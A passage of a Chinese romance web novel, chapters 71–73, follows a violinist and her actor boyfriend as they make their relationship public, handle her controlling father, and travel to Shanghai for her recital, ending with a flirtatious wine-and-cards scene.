宋玉妍忍不住似怒似嗔地瞪了他一样，装还是他会装。装成一本正经、岁月静好的样子给谁看？ 她去给自家学生倒了杯水，然后拿过去准备开始上课。 余光却一直在意着孔浏的动作，就看着他维持着一个姿势。就像是拍摄画报一样，整个人都没有丝毫的其他动作。 “喝水吗？过来这么久，应该也累了吧。” 看到老师过来朴昭愿停下了手上的练习曲，不经意地看到自家老师鼻尖上蹭出来的红印、眼尾的薄红，沙哑的声音和平时温柔却严厉的声线大相径庭。 她接过水杯后，关心道：“谢谢老师nim，不过您是感冒了吗？” 老师看起来很像是感冒的症状，夏日感冒的滋味可不好受。 宋玉妍听到自家学生的关心，脸上不 由地浮现出一抹尴尬，连忙又白了一眼自家男朋友。 她摸了摸鼻尖，有些心虚地回道：“是有点鼻塞。”然后连忙岔开话题，把谱子翻到固定的页码，她还差点翻错了。“巴赫《g小调第一小提琴奏鸣曲》准备开始。” 朴昭愿并没有看曲谱，右手以一个现代俄式的持弓姿势，从第一个音符开始一股浓浓的巴洛克风格扑面而来。 无伴奏的组曲很考验演奏家的耐性，尤其是巴赫的作品，往往要比其他协奏曲付出好几倍的时间、心力，才能达到一个勉强及格的程度。 她的每一个弦面都做到切换无痕，每一个音符都无可挑剔的标准。 宋玉妍面带欣慰的笑容看着自家的弟子，就连最难的赋格部分也无可挑剔，让她想到了那位旧远的、站在神坛上的演奏家——海菲兹。 尤其是双音，让人难以置信，小提琴居然能有如此丰富的旋律性，每一个音符在曲谱上跳动着属于理性的光芒。 等人演奏完了之后，她只是笑了笑，没有立刻夸奖。而是把曲谱合上，准备聆听柴小协。 音符落下最后一个尾音，宋玉妍没有再去挑剔她演奏中的不足之处，为自家的学生送上热烈的掌声。 对上学生期盼的眼神时，平常几乎不赞美人的她在心中组织了措辞。 “昭愿呐，要知道我的老师指点你时都夸奖过，你有上世纪那群顶尖演奏家的风范。”虽然有一半是客套话，但是也不完全都是。 “你是一个有天赋又努力的孩子，可能这次柴奖你会碰到很多很多世界各地的天才。那群天才的天赋，不过是他们拿到和你同台竞技的入场券而已。” 朴昭愿持琴的左手微微放松下垂，眼睛里面满是不可思议。完全没有想到，平时对她严格要求的老师，居然这样认可她，一瞬间觉得这段时间的努力都是值得的。 看着她眼眶里盈满泪水，宋玉妍过去轻轻拍拍她的肩膀，思绪一顿。 “巴赫的无伴奏拉的很好，比之前进步太多了。我始终认为你会成为本世纪最伟大的小提琴演奏家。所以，对自己有些信心，去俄罗斯好好照顾自己。” 明明老师没有比她大太多，但朴昭愿总是能从对方身上汲取到力量。她看着老师借给她的琴，眼底闪过一丝泪光，不管结果怎么样，她想要全力以赴。 不辜负老师，也不辜负自己。 等她走出这片富人区的时侯，回首着这里的建筑，每一栋楼都灯火通明，像是在与夜幕上寥落的繁星争辉。 整洁有序的排列、低容积的密度和错落有致的绿化和她原生家庭的距离，就像是江南到木浦那样遥远。 幸好，老师给了一张通行券，让她可以看看这个地方。至少，朴昭愿开始对接下来的俄罗斯之行充满了期待，就算这一趟要花掉她三个月打工赚来的钱。 看到学生走了之后，孔浏还是捧着那本书，如果宋玉妍细心一点就会发现，页码就没有动过。 “wuli玉妍还真的是善良呢。”他的眼里满是复杂，自认为自己做不到这样，无私地去提携后辈。 忠武路的蛋糕就那么大，别人多吃一口，孔浏就少吃一口。 也许有的后辈并不会马上成为他的竞争者，但谁能确保以后的事情？在那个角斗场里，擂主就应该好好守好自己的位置。 “不是善良，是觉得有那么一点缘分，毕竟她是我的学生。我和她之间有这样的一份羁绊，如果换一个人的话，我大概也是冷漠地无视吧。”宋玉妍知道自己并不是她口中说的那样。 至少朴昭愿的天赋是顶尖的，至少能拿下柴奖的铜奖。这能让她在南韩的古典音乐届的资历又会多添一笔，而且学生以后发展的好的话，这也会是她自己的人脉。 相当于她是前期天使投资人，但这些没有必要和孔浏说了，情侣之间还是不要过于坦诚比较好。 ： “孔浏xi，不愧是演员，平时把骨子里的强势藏的很好呢！”像是想到了他之前的举动，差点害宋玉妍在学生面前丢脸。 她手抱着胸，被夹起的长发有几缕散落在耳边，整个人看起来温柔又慵懒。 孔浏被她这有些阴阳怪气的语气逗笑了，站了起来，走过去，高大的身影把光源全部挡住了。散落的阴翳把她整个人都包裹了进去，脑后的珍珠发夹也被蒙上了一层阴暗。 看着他脸上不曾更改的温柔笑意，宋玉妍在心底忽然打了一个颤，拖鞋在地板上小心翼翼地挪动了一个把位的距离。 她好像……有些摸不透他的情绪。 像是被大型的食肉动物盯上，她有些紧张地舔了舔唇，不自觉地吞咽了一下。只能听到自己吞咽的声音，这更加加剧了紧张感。 孔浏没有做其他的动作，只是用手把她的细碎的黑发拨到耳后。手指又蹭过那片敏感的地方，像是无意的又像是在调情，指甲轻轻划过肌肤。 “宋玉妍xi，我知道我是一个很无趣的男人，所以……”他意味不明地浅笑了起来，像是在刻意压低声线，用这种声线说没有卷舌音的韩语，听起来有一种清爽的磁性。 “我在你面前努力地变得有魅力，你不喜欢？”他的腰弯曲的幅度更加低了。 宋玉妍低头扫了一眼，只觉得他看起来核心力量很好的样子。 “我……”她没有想到自己刚开始的想法居然被人看穿了，果然四十代的男人没有一个是好糊弄的，个个都是老狐狸。 有力量感的食指压在她的菱唇上，存在感十足的第二骨节正好卡在上唇和下唇的缝隙上。 她稍微一动，柔软的唇珠就会蹭到对方的手上的皮肤。这个动作搭配着他的笑容，有一种让人想要窒息的羞耻感。 宋玉妍脸颊上的绯色快要变成火烧云了，连忙往后退了一步，拉开距离，结果不小心带倒了曲谱架。 上面单独的曲谱页，犹如雪花一样，纷纷飞落。 孔浏把曲谱架扶起，细心地一张张捡好谱子，然后把它们合在一起。底面放在餐桌上顿了顿，这样更加整齐。 “不用找借口说没有过那种想法，我是演员，最能捕捉到人的情绪了。”他眼睛里仿佛有一个幽深的漩涡，虽然人是笑着的，但是让她猜不透。 “所以，我们继续来谈谈公开的事宜？” 想到学校里居然还碰到了其他学院的学生和宋玉妍表白，孔浏就有一股戾气在心里蔓延。 尤其是那句，“忠武路的老男人有什么好的？又老玩得又花！” 简直就是踩在他的痛点上，每每想到这句话，身体就会涌起一股巨大的不舒服。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 第七十一章 想到那样的话，他眼底的愠色更加浓郁了。当时他是怎么回复的？ 孔浏用尽了自己所有的耐心才克制住怒气，保持好脸上云淡风轻的笑容。 他对着那位表白的男生说道：“等你以后进入三星集团担任部长，或者考上四级公务员、检察官的时侯再来挑衅吧！” 当时心底的怒火犹如一座快要喷发的火山，如果上面没有铺着一层厚厚的火山灰阻挡，他的情绪会如同滚烫的岩浆一样倾泻而出。 现在孔浏神色也是冷峻的，嘴唇抿成一条直线。与平时喜欢挂着温柔笑容的样子，一点都不一样，这样看起来眉骨的锋利程度像是一把泛着寒光的匕首。 就是脸色毛细血管破裂，脸上浮现出不明显的粉色。 公开就公开呗！红温什么？ 宋玉妍看着他，只觉得莫名其妙。本来在忠武路就不算帅哥，就最值得称赞的亲和力都没有，那可怎么办？ 室内的空调可能是调的太低了，她冷的打了个哆嗦。去白墙上把温度打高，然后顺便给自己倒了杯水。 “那就公开吧，我其实无所谓。”生活在聚光灯下，她也不会那么不适应，耸了耸肩，表示随便自家男友好了。 “只是希望媒体还有你的粉丝，尽量少打扰到我 就好” 他还是抿着唇，看起来很不高兴。心口一滞，手指不由地收紧、捏成拳，垂下的眼眸里是聚拢的墨色。 孔浏感觉这段感情只是他一个人的兵荒马乱，而宋玉妍一直都是稳坐猎手的位置。 “好。他本来就是低调的性格，也不喜欢媒体、粉丝过于窥探自己的私生活。会让公司好好约束粉丝，也不许媒体那边扒她的身份。 看到他的脸色还是不好，宋玉妍走过去踮起脚尖，拉着他脸颊两边的小腮肉往外扯。 “为什么会看起来心情不好？” “阿尼，只是在想公开的宣传稿而已。”孔浏不想说他的顾虑，既然已经得偿所愿，那就不要让那些烦心事影响到两人之间的感情。 那行吧，宋玉妍也没有追问，最近巡演的事情已经让人心力交瘁，她也实在没有精力去分析另一半的心思。 看到她有些敷衍的样子，孔浏则是有些烦躁地低下了头，拿着手机靠在餐桌旁和经纪公司交流。 虽然心底不想去责备对方无动于衷的态度，但身体语言还是流露出一些失望。 “欧巴，你觉得我巡演但第一站定在哪里比较好。上海交响乐团和东京爱乐乐团都是不错的选择。” 她才不会一上来就和世界顶尖的乐团合作，这样外界的期望过高，会给演奏者带来莫大的压力。 孔浏放下手机，认真地回复道：“都可以的，只是乐团的风格不太一样。” 和宋玉妍交往之后，他对古典音乐有了一定的了解。知道这两个乐团都能算得上是亚洲顶级，但前者的演奏水准离后者还是有一定的距离。 宋玉妍下定了决心，还是上海交响乐团吧！不仅仅是身体里的灵魂属于种花，更重要的是她对种花的曲目更加熟悉。 soop官网很快就放出来旗下演员孔浏正在恋爱中的消息，没过多久就霸榜了韩世趋。 这还是这位演员第一次正面官宣女友，之前的三段感情，公司从来没有正面回应过。 「稳定交往中，看来这位是想着好好相处，孔浏xi的年龄也不小了，应该是奔着结婚去的。」 「恋爱就应该大大方方公开，女方的身份有什么好遮遮掩掩的？粉丝都会祝福的。」 「楼上你没有看到女方是素人吗？可能有些素人就不想被打扰到日常生活啊！」 「阿加西终于定下来了，鬼怪夫妇终于be。」 「说实话，对于这个结果我们早就知道，见怪不怪了。」首尔大的学生留下了这样的言论，那段时间孔浏在校园里暗戳戳地宣示主权还当他们看不到呢。 倒是首尔大学的论坛上比热搜还要热闹。那位有才华又年轻漂亮的讲师，得到了弦乐系大多数学生的好感，大部分人都不太能理解她为什么选择的这个伴侣。 「感觉混有知情人士，能不能说说女方的情况？」 「人家不说就代表不想出现在镁光灯前啊，扒出来干什么？」 「粉丝也没有恶意吧！只是想知道这位嫂子是个什么样性格的人吧！」 「那你问你家正主去啊！」 …… 这两天手机的首页推送上都是关于国民演员恋爱的消息，宋玉妍不感兴趣之后还是会源源不断地推送。 她很无奈，默默地把这些推送截图发给孔浏看。 「看来wuli欧巴是真的国民顶流呢！没想到只是一个官宣恋爱的消息都能引起这么大关注。」 孔浏：…… 他怎么会看不出宋玉妍的打趣，但已经尽自己最大的心力去保护她的隐私了。 「媒体和大众是这样，总是对演员的生活好奇，好像忠武路的演员都坐在神坛上一样。」 宋玉妍没有回复他的消息，专心和乐团对接，敲定曲目，就连返场的曲目都准备了三首。 对于这辈子第一次的种花之旅可谓是十足用心。 而孔浏在自己的家的客厅只感觉心情焦躁。为什么女朋友又不理他了？是因为公开给宋玉妍的生活造成了影响？还是说对方又开始觉得他无趣，冷淡下来？ 他一会去餐边柜上倒了一杯水，喝了一口，发现心烦意乱的心情还是没有缓解。 然后又深吸一口气，他想要把胸中的压闷感给抑制下去。打开黑胶唱片想要借助古典音乐，让自己平静下来。 但依旧无济于事，金秉钧给他发过来的电子剧本他也是一个字都看不进去。 就算不停地在房间里面摆弄着各种物品，还是不能让孔浏心底的烦躁得到半分纾解。 终于他忍不住拨通宋玉妍的电话，“你为什么……不回我的消息？”他知道自己的情绪有些矫情，成年人的恋爱不应该是这样，也不该什么都要和伴侣报备。 就算是有各种负面情绪也应该自己自己消化，但从一开始面对宋玉妍时，他就患得患失。 那种感觉就像是一波又一波的潮水，包裹着他这个溺水的人。挣扎、但是又摆脱不了。 正在收拾行李的宋玉妍有些无奈，妥协地叹口气，“欧巴，你知道的，我马上要去种花开个人第一场独奏会，我有些忙的。” 事业在她眼里很重要。更何况，到时候国际上知名的古典主流媒体都会来，她肯定要好好准备确保万无一失。 “是不是我的公开给你造成了影响。”他磁性的声音通过电子设备的处理有些失真，这也恰好掩饰了语气里的失落。 宋玉妍揉了揉疲惫的太阳穴，她知道对方没有安全感的原因，这也是两人之间没有信任感的由来。 她对孔浏一开始的态度，恐怕刺伤了对方。这让他的心底破了个洞，也不知道什么时候这个洞能愈合。 “欧巴，你要不看看有没有合适的剧本，有的话可以进组。” 赶快上班吧，上了班之后就不会有这么多时间东想西想了。 “当然没有。” “是不是你太挑剔了？明明17年上映的很多电影都很不错，但17年依旧是你的空白期。” “没有合适的。”孔浏乏力地整个人瘫在沙发上，右手的小臂搭在额头上，有些碎发都顺着压了下来。 “怎么会呢？《军舰岛》我看就很不错啊！” “这种政治片的主演，我不是第一选择。” “《代立军》呢？” “我扮演古装会显得很可笑。”《鬼怪》里面的造型都是化妆师花了大量的时间，加上导演找好的角度才显得还行。 孔浏对自己的长相相当有自知之明。 还不是他眼光有些挑剔，宋玉妍也不知道说什么好。裂痕一旦有了，就要不断地要另一个人耗费大量的时间、精力、爱意去弥补。 挂了电话之后，孔浏还是维持着这个丧气的姿势，只觉得有些泄力。 他很想很想和宋玉妍共度一生，但是对方的想法并不一定是这样。步入四十代之后，家人的联系逐渐越来越少，他想要组成自己的家庭，幸运的是也遇到了合适的人选。 只是……她的想法不一定是这样。宋玉妍每次谈到关于家庭的话题，总是不动声色地岔开话题，对方也许没有把他介绍给家人的意思。 “叮”手机忽然收到了一条特殊消息。 「欧巴，如果真的这么没有安全感的话，就和我一起去种花吧！你不是说过想听我的演奏会吗？我不会食言的！」 看到这样的消息，孔浏忽然把之前的胡思乱想撇到一边，心底的雀跃就像是春日里蜜蜂采到了第一份花蜜那样甜。 瞬间整个人从沙发上弹跳起来，他问好航班信息之后，立刻定了同一趟，甚至准备把宋玉妍的琐事都给包办了。 仁川机场向来是爱豆的秀场，在这里每天都可以看到爱豆出发和到达的新闻图。 孔浏推着他和宋玉妍的行李箱，让她只要拿着自己的琴盒就好。他们穿过一个个旅客，大家都在这里短暂地相遇，然后又纷纷赶往各自的未来。 本来机场的广播声、机器声和行人交谈夹杂在一起的声音，就已经让孔浏这个喜欢安静的性格难受。去往vip 安检处的路还被艺人粉丝堵住，这更是让他皱紧了眉头。 宋玉妍的手机响了起来，以为是交响乐团要再聊聊合作的事情，她毫不犹豫地接了起来。 下一秒，一个充满怒气的中年男声传导而出。 “那个和艺人谈恋爱的就是你？我是怎么教导你的？让你辛辛苦苦练琴、进入朱莉亚音乐学院就是为了找一个不三不四的伴侣的？” 第72章 第七十二章 宋玉妍听到这个声音整个人愣住了，她一直避免和原主的家里人联系，也从没有想过他们会知道自己的联系方式。 属于身体的条件反射让她握着手机的手心出了点汗，指尖用力，但光滑的机身还是往下坠。 旁边的孔浏在办理好托运之后，回头就看到了她苍白的面色和微微塌下的肩膀后，连忙空出他的左手，握住、然后十指相扣。 看向她的眼神里满是担心。 宋玉妍能对原主待在家里时的窒息感感同身受，抚着胸口大口大口地平复着呼吸。 她想要多吸入氧气，让自己好受一些。 强势、掌控欲强的父亲和柔弱、没有主见的妈，组成了她的童年阴影。 垂着眼睫，她的眼里满是脆弱和茫然。像是在发问，又像是在喃喃自语，“东亚家庭的孩子就是你们的奴隶、所有物吗？” 这句话宋玉妍既是帮自己问，也是帮原身问。 原主的父亲显然没有想到一向“乖巧听话”、从不顶嘴的女儿，居然会诘问他。 “莫？”他的语气里是震惊和不知所措，除了所谓的亲情纽带，他没有什么筹码能绑住宋玉妍了。 “好像从小到大，我做得好都是应该的，是你优质教育下最成功的作品。我也应该对你言听计从，可是，就算没有你们我也可以过得很好。” 练琴是自己辛苦练的、音乐学院自己考的、奖学金也是凭本事拿的。 宋玉妍说完之后就把电话挂了，这一大段话说出口，心中压着沉闷的情绪瞬间消弭不少。 这些也是原主的心声吧！ 周围的送机粉丝依旧一直在挤，这让她和孔浏两人就像是江河里面无根的浮萍，一直在飘荡。 孔浏看到她情绪不好，立刻用自己高大的体型在人群里挤出了一条路，宋玉妍被他好好地护在身后。 过安检时他看了前面引起这么多粉丝轰动的艺人一眼，五颜六色的头发，像是一个大型男团。 面色发冷地从他们身边经过，像他们这样行程泄露，只会给其他乘客带来不便。 在航司专门的贵宾室休息时，孔浏把口罩和帽子取下，担忧地看着自家女友。从她接了那个电话开始，就一副心事重重的样子。 “要不还是在这里选家餐厅对付两口，不凑巧我们的航程恰好卡在饭点。” 他看着宋玉妍耳边晃动的流苏耳环，提议道。 “算了，我没有胃口。” 两人之间顿时又静默了下来。临近傍晚，休息室里面的乘客，大多都保持安静在做自己的事情。有人看着免费提供的报刊杂志，有人在安静用餐，有人对着电脑未完成的工作敲敲打打。 他们之间的沉默就像是一阵细雨，落在身上只有稀疏的凉意，只有抬头看才能看到如细针一样的孤寂。 孔浏看着她，心中不被信任的苦涩一直在扩大。为了克制情绪，他努力滚动着喉结，想要把这份涩意给吞咽下去。 他人站了起了，去给宋玉妍接了一杯柳橙汁。坐下，把玻璃杯放在她面前，换来她机械性地转头。 刚想好好和对方聊一下，关于她为什么心情忽然变差，关于两人之间一直存在的问题。 刚刚给他们值机、过安检造成麻烦的男团，一团人呼啦呼啦进来贵宾室。 打前的那位应该是负责他们活动的总经纪人，看到孔浏在这里连忙领着艺人过来打招呼。 “阿尼啊塞哟孔浏xi，刚刚不好意思打扰到你了。”他们经纪人一眼就认出他来，连忙带着自家艺人过来打招呼。 娱乐圈等级分明，要是被透露出去，他们和忠武路的前辈在一个贵宾室相遇。但是却没有打招呼，这对wannaone本就不长久的团体演艺事业，会是毁灭性的打击。 十一个男爱豆依次带着笑容过来鞠躬、问好，尽管他们已经很小心翼翼地克制住音量，但还是引来其他旅客的瞩目。 孔浏心里烦躁，作为忠武路演员，他一直是稳坐上位圈的那位。这样的场面早就司空见惯，并不觉得满足了他前辈的虚荣心，只觉得对方打扰到自己了。 敷衍过后，又转头去看宋玉妍，那些私密的话题没有办法再启齿。 错过了最好开口的时机之后，他没有勇气准备继续面对两人之间的裂缝。 夜幕刚刚降临，舷窗外漆黑一片，只有零星的灯光闪烁着微弱的光晕。 宋玉妍头疼地依靠在机壁上，灰色的颜色看起来给她发白的面色增添了一丝脆弱。眼尾发红，疲惫如潮水一般向她涌来，原主家庭的烂摊子她该如何应对呢？ 孔浏摆了摆手拒绝了空乘的欢迎饮料，把两人之间的扶手放到靠背的缝隙中去。 韩亚航空定制的毛毯柔软又细密，拆开、他帮宋玉妍裹上。然后又把靠枕塞到她的腰部，让她能更舒服一点。 就算心底的疙瘩再大，他也想对方好好休息。毕竟后天的演奏会对乐手的体力、状态都是一个不小的挑战。 也幸好从首尔到上海的航程也才两个小时。 他以为对方不会开口，就像是之前很多次一样，两人之间保持着最亲密却又最克制的距离。 宋玉妍从来不会问他要去哪个聚会？会上有些什么人？要接什么样的剧本？后面会有什么样的行程？ 她对他的生活和工作都没有兴趣，所以孔浏也就没有立场去过问对方的私生活。 “欧巴你知道吗？”她最终还是开口了，目光看向窗外，像是落在远方又像是落在机翼上。 “很多人都说我是第二个郑京和，但其实不是这样的。” 郑京和出身于音乐世家，家里人都很支持她远赴重洋跟随名师学习小提琴。但宋玉妍完全不是这样，开始学小提琴也是因为父亲刻在骨子里的内卷属性发作。 所以他对年幼的宋玉妍要求苛刻，让她抑制住自己爱玩的天性，从拿起琴弓那天开始，每天雷打不动地练琴六小时。 “我的父亲只是把我当作他能带出去炫耀的工具，我是他人生中最满意的作品。等他成为一家还算大的建筑公司经理人，他以为自己算得上是精英阶层，想往更上层去挤，但他根本融不进去东海岸顶级富豪的那个圈子。” 宋玉妍像是说累了，视线终于从窗外星星点点的灯光，犹如不规则棋盘网格上的棋子挪开。让空乘给她倒了一杯饮料，接过、道谢后，浅啜了一口。 “所以他打起了我的主意，想让我成为上东区太太。”就连英语口音都被逼迫着纠正过来。 这就是原身宁愿各地流浪，都不愿意回家的原因。 她在那个家里感受不到任何爱意，父亲是一个极度以自我为中心的东亚男性。母亲则是他的附属品，还想把自己的女儿也变成附属品。 孔浏听到这些，心疼的情绪都快要从眼底溢出来了。 他闭了闭眼睛，侧身把人揽了过来。完全不敢想，看起来性格温婉柔弱的宋玉妍，是怎么在那个冷 漠冰凉的家里忍受那么久的。 他用手轻轻拍着她的背，静静安抚着他。宋玉妍先是瑟缩了一下躲过，反应过来之后又靠了过去。 “所以，欧巴你不用太内耗，如果我们之间有问题的话，那可能我的问题更多一点。毕竟连家人都不爱我的情况下，我对亲密关系其实是报以悲观的态度。” 孔浏没有轻易地去安慰她，毕竟经历过那些的人不是他自己，不能做到完全的感同身受。 他只是把头放在宋玉妍的头顶上蹭了蹭，用亲密的接触让她感受到自己的爱意。 “玉妍呐，做你自己觉得开心的事情吧。” 就这样简单的一句话，瞬间让她红了眼眶。原来会有人理解她的处境，原来宋玉妍的情绪并不是如她母亲所说，是无病呻吟。 她不想和家庭和解，但是她选择和自己和解。 公务舱的灯光昏暗其他乘客看不太清这里发生了什么。 不想聊这样的话题了，她故作轻松地问道：“欧巴，这是你第一次来种花吗？” “那倒不是，去年我还去宝岛办了一次粉丝见面会，中饭会比韩饭更加热情！当时还去了当地的一家沙茶面馆，味道还不错。” 听到家乡的美食，宋玉妍一骨碌坐了起来，那份伤心被暂时抛却到脑后。 “沙茶还是应该看港岛那边，沙茶面、沙茶火锅、沙茶牛肉，还可以配鱼丸，反正怎么样都好吃。” “你对种花好像很熟悉的样子？”孔浏面上似笑非笑地睨了她一眼。但看到她情绪重新正常，不免在心底松了口气。 飞机平稳落地开始滑行，两人的情绪也开始好转了。 宋玉妍开始和他兴致勃勃地讨论，演奏会完成之后，应该去哪些景点打卡和需要尝试的美食。 她想到了一个绝妙的地方——韩国在上海的临时政府。那应该是每一个韩国人心中的圣地，但这个想法太过天马行空，还是算了。 等到了酒店之后，宋玉妍先是洗漱了一番，感觉身上所有的疲惫都被洗涤一空。 她走到窗边拉开窗帘，看着东方明珠后的黄浦江两岸的灯光。 近处的西式建筑仿佛把人拉回到百年前，这座城市和首尔相比很有历史沉淀过后的底蕴。但和种花其他的千年古城相比，它又显得十分年轻，活力、新潮是它的代名词。 恰好此时朴昭愿给她打来电话。 莫斯科傍晚六点，她听到结果之后，捂着嘴靠在音乐厅的门上足足放声大哭了十分钟。 终于，结果没有辜负这段时间全力以赴的努力。 “老师……我拿到了金奖，呜呜呜……我没有辜负。”朴昭愿说着说着还打了个嗝，哽咽到沙哑的声音都吐字不清晰。 宋玉妍看着窗外明亮的黄色灯光，这里的建筑简直就像一曲宏大的交响乐。 “恭喜你！明天整个古典音乐届都会是你的名字，这也是你成为职业演奏家的第一步。” 她们都会有更好的未来。 第73章 第七十三章 朴昭愿现在处于一种“穷人乍富”的心情，比赛结束后，很多媒体都围了过来想要采访。 但看到她现在的状态，还是默默等人把情绪收拾好。 “打起精神来，你可是韩国未来的另一张国家名片，相当于电竞圈的faker，足球圈的孙兴慜。”宋玉妍的语气轻柔又暗含着打趣，只想着让自己的学生快速放松下来。 “老师nim，我是不是打扰到你了，后天就是你的个人演奏会了。”想到自家老师首演，朴昭愿就有些后悔，她应该克制住自己的情绪。 初步迈上职业演奏家的道路后，她才明白，每一场演奏会对于乐手的意义都非比寻常。 “学生能拿到古典音乐在国际上三大权威赛事的第一名，对我来说也很重要，那至少证明我的辛苦没有白费。” 再多宽慰自己学生几句，宋玉妍打开韩网的naver。关于朴昭愿的词条都已经建好，上面写着她是18年柴奖金奖的获得者，也是韩国第一个拿下这个比赛的小提琴手。 落地窗外，闪烁的灯光犹如一颗颗明珠镶嵌在夜幕上。这个城市的空气里都散发着纸醉金迷的味道，无数人在这里追逐梦想，又在这里实现梦想。 宋玉妍拿出自己的小提琴，整个人的影子像是融进了窗外的景色，暗红色的窗帘像是舞台上华丽的幕布。 这把陪伴了她二十来年的古董琴，被她从琴盒中取出。她把它轻轻搁置在左肩上，布满松香的琴弓向琴弦许下第一个音符。 第二乐章柔软的行板像是最优秀的歌唱家在演唱一曲哀婉又破碎的小调，她闭上眼睛，细心感受着她和琴的共鸣。 此刻的演奏不为那些名利，也不为听众，而是为她自己。 那一次她拿下柴奖金奖的时侯，在柴可夫斯基音乐厅奏响的也是这一曲《d大调小提琴协奏曲》。 忧郁、苍凉的音色是他们民族刻在骨子的底色。 每一个泛音、每一处颤音，宋玉妍都把它处理地圆润而甜美，这让旋律中自带的那股悲情消散了不少。转入中段之后，并没有那么凄婉哀切的音色再次出现，最后在没有木管、圆号的伴奏下转入沉寂。 几乎是音符刚落下，门口就传来敲门声。 她把琴放在床上，门打开之后，才发现孔浏站在门外，额前的碎发微微湿润，还有水珠顺着肌肤没入锁骨下方。 白衬衫搭配着定制的灰色西裤，分界线恰好卡在他因为健身而显得格外紧致结实的腰线上。 可能是因为在这样私密的氛围里穿着有些正式，这让孔浏有些不自在，手扯了扯西裤上的中线。这让他的腿显得更加笔直又修长，线条更是若隐若现。 宋玉妍眼神落在因为水汽被沾染成透明圆圈的衬衫几处，精瘦的肌肉在灯光下若隐若现。 因为紧张，他的下颌线显得有些紧绷，喉结不自觉地滑动了一下。 “我怕你太疲惫了，想着喝一点红酒更好入眠。”说完还举起手里的波尔多，他像是在自证清白。 “呵。”她意味不明地哑笑一声，把头发都拨到左侧上，优秀的肩颈线条一览无余，侧身让他进来。 辛辣、浓烈的胡椒味和沐浴后柔和的水泡味混合在一起，矛盾又有反差感。 宋玉妍抬起细腻光滑的手臂，闻了闻，感觉自己身上也沾染上那种味道。 两个房间的布局都是一样的，孔浏就像是在自己房间里那样自然，拿着两个酒杯到窗边的沙发上。 这瓶酒的年份比较轻，不需要醒酒，顺滑的酒液顺着瓶口滑入杯底。 “光喝酒有什么意思？”她步履款款地走了过来，豆绿色的真丝睡衣显得皮肤更加白腻。v形的领口，锁骨下的风光让人不敢细看。 孔浏这也是才看清她的全貌，匆匆瞥了一眼后，连忙转换视线到红酒上。 “很晚了。” “还好，也才十一点半，我们还可以喝半个小时酒。” 宋玉妍的声线被刻意压低了一些，听起来不复平常的温婉清亮，像有把钩子一样慵懒妩媚。 弯腰，睡裙恰好的剪裁，让她柔软的腰肢显露无疑，美背上光洁如玉的肌肤几乎要晃了人眼睛。 她从柜子里翻来翻去，一般酒店会有这些娱乐设施吗？ 孔浏闭了闭眼睛，睁开后视线没有办法移开，极致的白色和浓郁的绿色组成了一副秾丽的画卷。 他知道，现在应该阻止她胡闹。作为年长十岁的恋人他有这个义务，但嘴里就是吐不出拒绝的话语。 宋玉妍终于还是找到了扑克牌，她把盒子放在两人之间的桌子上。 “抽出大小王，我们两人每次各抽一张牌，可以选择翻或者不翻。选择先翻的那个人点数更大的话，那就可以问另一个人问题。反之，则要喝一杯酒。” 如果点数同样，那就比花色，按照黑桃、红桃、梅花、方块的顺序。 “好。”他垂着头，眼底的情绪晦涩不明。 简易版德｜州扑克的玩法，即是赌运气又是赌博弈的心理。 牌被打乱，他的心脏跳动的频率也乱了，顺序被慢慢洗开。 昏暗的灯光下，是宋玉妍先抽。她把牌小心翻一个角，黑桃9，不算大也不算小。抬眼去看孔浏的神色，却发现他的表情一直没有变过。 既不是平常像面具一样刻在脸上的温润笑意，也不是私底下的放松 。他静静地凝视，乌黑深邃的眼底像是在酝酿着什么。 鼓起勇气赌一把，宋玉妍主动翻开底牌，只看到他手里的牌是方块10。 满眼愕然，他怎么运气能好成这样？ 没有办法，她只能把玻璃杯送到嘴边，看向他时面色娇软。“欧巴，要不你帮我喝吧。”鼻头微皱，桃花眼里满是渴望，透露出的娇憨足以让任何人心动。 “那可不行，我可是赢家。”他狠了狠心，看着宋玉妍一口把红酒给闷了下去，两颊瞬间飞粉。 他欣赏着自家女友的醉态，人还在玩游戏，魂已经迷离一会了。 第二轮开始，宋玉妍又想先抽牌，但她的指尖被按住了。 他的力道很轻，透露着一股不容置疑的意味。“玉妍呐，游戏要讲究公平，不是吗？” 孔浏伸手把牌堆最上面的一张牌漫不经心地抽出，掀开一个角看到这个点数和花色，心底漫出了喜悦。 黑桃K，这是最大的牌，他直接把底牌掀开。 而宋玉妍泄了气，懒洋洋地歪倒在沙发上，掀起一角，上面是方块3。 她只觉得自己可以去非洲挖煤了，这运气太糟糕了，拳头软绵绵地捶了一下纸牌，像是在泄愤。 “愿赌服输宋玉妍xi，所以……你有过几个前任。”孔浏的脚尖相对，腿的距离变近，把双手拢成一个拳放在桌上，这是一个谈判的姿势。 这个问题有些让人为难，如果只说这一辈子那就没有前任。如果算上之前那就太多了，数不太清。 最后她摇了摇自己昏胀的脑袋，还是决定说一个保守的数字，“三个。” 他的眼睛眯了起来，嘴角勾起很小很小的幅度。这让他锐利的眉骨和挺拔的鼻梁看起来更加立体，指节在黑桃K的牌面上轻敲，“撒谎。” 主动洗牌，孔浏像是放过了自家女友，并不纠结这个话题。 “以后把他们都忘记吧！”过去如何他不在意，但是未来肯定只有他了。 又是一轮开始，这次宋玉妍指尖伸过去，食指和中指从牌堆里挑出一张牌。 看到是红桃Q，这位骄傲的王后在排面上，拿着她的权杖骄傲地昂起头。 玩游戏输得上头加上酒精的作用，宋玉妍直接把牌面翻了过来。整个人几乎都快趴在桌子上了。 她的酒杯已经空了，而男友的那个杯子还是一口未动，猩红的酒液像是在嘲讽。 就像是这两人，一个面带红霞，被酒晕萦绕着。另一人还是最开始那样理智克制，衬衫上的水渍已经完全干透，散落的头发用手往后整理，仿佛处在商务谈判的现场。 就算这张牌很大，孔浏也丝毫不急，慢慢地从牌堆里抽出其中一张。他没有自己先看，而是直接用指尖翻到桌面上。 “黑桃Q，看来你今天的运气有点差啊。”他的语气里既是感叹又是嘲笑，眉目间似笑非笑的神情是胜利者隐秘的得意。 宋玉妍皱了皱眉，没有想到，这次居然又差这么一点，她一直都是狼狈的输家。 红酒瓶被她直接握了起来，丝毫没有倾斜，瓶口都快呈180度了。 孔刘在心中无奈地叹口气，伸手把她微凉的右手裹住。要是像上次咖啡洒出来那样，后面还是他来收拾。 等半杯之后，他一手拿着酒瓶，一手摁在她滑如凝脂的腕间。“够了，倒太多了。” “不玩这个游戏了，命运之神一直站在你那边。”他们两个联合起来演自己，宋玉妍用宕机的脑袋这样想着。 